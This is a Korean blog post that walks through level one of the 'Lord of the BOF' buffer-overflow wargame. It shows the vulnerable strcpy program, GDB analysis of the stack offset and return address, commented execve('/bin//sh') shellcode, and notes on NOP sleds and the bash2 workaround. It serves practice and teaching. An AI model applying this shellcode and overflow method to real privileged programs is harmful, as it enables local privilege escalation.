⊙ 문제의 소스를 보자) |
[gate@localhost gate]$ cat gremlin.c The Lord of the BOF : The Fellowship of the BOF - gremlin - simple BOF */
int main(int argc, char *argv[]) { char buffer[256]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
+ simple BOF라는 주석에서 알 수 있듯이 버퍼가 256Byte로 넉넉하다. + argv 인자로 문자열을 받아 strcpy()로 buffer에 복사를 한다. + strcpy()는 복사할 목적지 문자열에 크기를 제한하지 않음으로 Overflow가 가능하다. |
1) 공략할 바이너리 파일을 GDB로 벗겨보자. | ||||||||||||||||
*권한이 없으므로 tmp폴더 생성후 바이너리 파일 복사. ① buffer[256]과 같이 정확히 0x100(10진수:256)Byte만큼 스택공간을 확보, 즉 더미(dummy)는 없습니다. ② 쉘코드를 buffer에 삽입후 RET주소를 buffer의 주소([%ebp-256])로 넣습니다. ③ buffer시작 주소부터 RET의 시작주소 까지의 오프셋 :: buffer(256) + EBP(4) :: RET
|
2) GDB로 RET 주소를 구해 보자. |
[gate@localhost tmp]$ gdb -q gremlin (gdb) disassemble main Dump of assembler code for function main: ...[중략]... 0x8048466 <main+54>: call 0x8048370 <strcpy> 0x804846b <main+59>: add $0x8,%esp 0x804846e <main+62>: lea 0xffffff00(%ebp),%eax 0x8048474 <main+68>: push %eax 0x8048475 <main+69>: push $0x80484ec ...[중략]... (gdb) b *main+62 Breakpoint 1 at 0x804846e (gdb) r $(python -c 'print "D"*264') Starting program: /home/gate/tmp/gremlin $(python -c 'print "D"*264') Breakpoint 1, 0x804846e in main ()
① argv 인자로 전달한 공격문은 strcpy()함수 이후에 buffer에 복사되기 때문에 strcpy()이후로 break를 겁니다. ② 공격문을 argv 인자전달로 넘겨주기 때문에 공격문의 길이에 따라 EBP 값이 변합니다. 따라서 Buffer(256) + EBP(4) + RET(4) = 264Byte이므로 Python 인터프리터문으로 "D"*264 전달합니다. ③ EBP값은 0xbffffa18 이므로 EBP-256(buffer길이) 빼주면 0xbffff918이 됩니다. 여기서 "D"의 ASCII코드값이 44이므로 쉽게 눈으로 확인 할 수 있습니다. ④ 대략적으로 중간 지점인 0xbffff0a8을 리턴할 주소로 잡습니다. |
.global main main: /* int execve(const char *filename, char *const argv[], char *const envp[]) */ xor %eax, %eax ;# eax를 0으로 push %eax ;# 문자열 종결을 위해 널을 푸시 push $0x68732f2f ;# "//sh"를 스택에 푸시 push $0x6e69622f ;# "/bin"를 스택에 푸시 mov %esp, %ebx ;# esp에서 "/bin//sh"의 주소를 가져와 ebx에 쓴다. push %eax ;# 32비트 널 종결자를 스택에 푸시 push %ebx ;# 널 종결자 위에 문자열 주소를 푸시 mov %esp, %ecx ;# 문자열 포인터가 있는 인자 배열 cdq ;# eax에서 부호 비트를 가져와 edx를 0으로 mov $0xb, %al ;# 시스템 콜 11번 (execve) int $0x80
|
4) Python 인터프리터 공격문 작성 | ||||||||||||||||||||||||||||||||||||||||||||||||
특이사항) ① 이와 같이 셸코드 오른쪽엔 어떠한 값(NOP썰매)이 최소 16Byte이여야 한다.
② 꼭 NOP썰매가 아니더라도 특정한 영문자도 되더라.
|
5) 이제 적을 물리쳐 보자! | |
어찌된 일인지 GDB로 확인해 봅시다.
0xbffffa6c를 보면 리턴주소가 0x4000f9a8로 되어있습니다. 분명 리턴 주소는 0xbffff9a8이 였는데 말이죠.. 어찌된 일 일까요? 해당 사이트를 검색해 보았습니다. [원본 위치]
자그럼 bash2로 변환후 다시 해보죠..
이제 되네요.. 성공!!
|
--) 공격 구성 순서 정리. |
① 권한문제로 tmp 폴더 생성후 gramlin 복사. :: # mkdir tmp && cp gramlin tmp ② GDB를 통해 버퍼크기와 더미존재 여부 확인. ③ GDB로 RET주소를 구하자.
④ 공격에 사용할 쉘코드 작성 ⑥ bash2 && 공격 |
*(앞으로 모든 레벨에서의 쉘은 chsh명령으로 /bin/bash2로 변경)
gate : "gate"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL4] goblin -> orc (egghunter) (1) | 2011.06.02 |
---|---|
[LEVEL3] cobolt -> goblin (small buffer + stdin) (0) | 2011.06.02 |
[LEVEL2] gremlin -> cobolt (small buffer) (0) | 2011.06.02 |
BOF 원정대 출항 준비 : 네트워크 설정 (0) | 2011.05.29 |
BOF-BufferOverflow- 원정대란? (1) | 2011.05.29 |